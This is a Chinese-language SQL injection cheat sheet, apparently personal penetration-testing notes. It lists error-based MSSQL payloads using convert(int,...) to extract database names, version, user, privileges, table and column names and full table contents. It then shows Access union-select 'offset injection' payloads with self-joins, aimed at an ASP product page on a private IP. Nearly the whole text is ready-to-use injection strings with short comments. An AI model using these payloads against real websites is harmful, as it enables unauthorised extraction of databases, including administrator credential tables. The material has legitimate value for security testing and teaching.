?Id=admin' and 1=convert(int,(sql语句)) AND 'CvNI'='CvNI 基本信息获取 数据库信息获取 1=convert(int,(db_name())) #获取当前数据库名
1=convert(int,(@@version)) #获取数据库版本
1=convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(''))) #一次性获取全部数据库
1=convert(int,(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))) #一次性获取全部数据库 USER信息 and 1=(select IS_SRVROLEMEMBER('db_owner')) #查看是否为db_owner权限、sysadmin、public (未测试成功)如果正确则正常,否则报错
1=convert(int,(user)) #查看连接数据库的用户
admin' AND 1878=CONVERT(INT,(SELECT SUBSTRING((CASE WHEN(IS_SRVROLEMEMBER('db_owner')=1)THEN '1' ELSE '0' END),1,100))) AND 'iaQQ'='iaQQ #来自sqlmap 也为测试成功。
ps:未测试成功坑能是环境问题 获取表名 获取所有表名 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('V_XG_BZKS_SHSJHD','HH_HeartHealthRefer_Web'))) #将报出来的表名填入 table_name not in的元组 获取指定数据库的表名 1=convert(int,(select top 1 quotename(name) from [数据库名]..sysobjects where name not in('table_name1','table_name2') and xtype='U') #逐条获取表名,将报出来的表名放入tuple
1=convert(int,(select quotename(name) from [数据库名]..sysobjects where xtype='U' FOR XML PATH(''))) #一次性获取表名,如果表很多的话会失败。
1=convert(int,(select top 1 table_name from information_schema.tables where table_catalog=[数据库名] and table_name not in('V_XG_BZKS_SHSJHD','HH_HeartHealthRefer_Web'))) #将报出来的表名填入 table_name not in的元组 获取列名 获取注入点的表中的列名 having 1=1 -- group by column_name1,column_name2 having 1=1-- 获取任意表中的列名 1=convert(int,(select quotename(name) from [数据库名]..syscolumns where id =(select id from [数据库名]..sysobjects where name='table_name') FOR XML PATH(''))) #一次性列出该表所有的列名,列名比较少,建议用这个 爆数据 1=(select top 1 * from [数据库名]..[表名] FOR XML PATH(‘’))
http://192.168.88.154/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
利用 * 代替admin表内,存在的字段,从后往前进行偏移,直到页面正常返回
一共偏移了6次。
偏移注入通用公式:order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍的偏移量。
即22-2x6=10。
对该表进行自连接。
1
http://192.168.88.154/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)
或者只加a.id也可以打乱信息组合,
1
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)
注意:获取到什么数据完全靠运气。
获取其他数据,进行二级偏移。
再取6个字段。
1
http://192.168.88.154/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)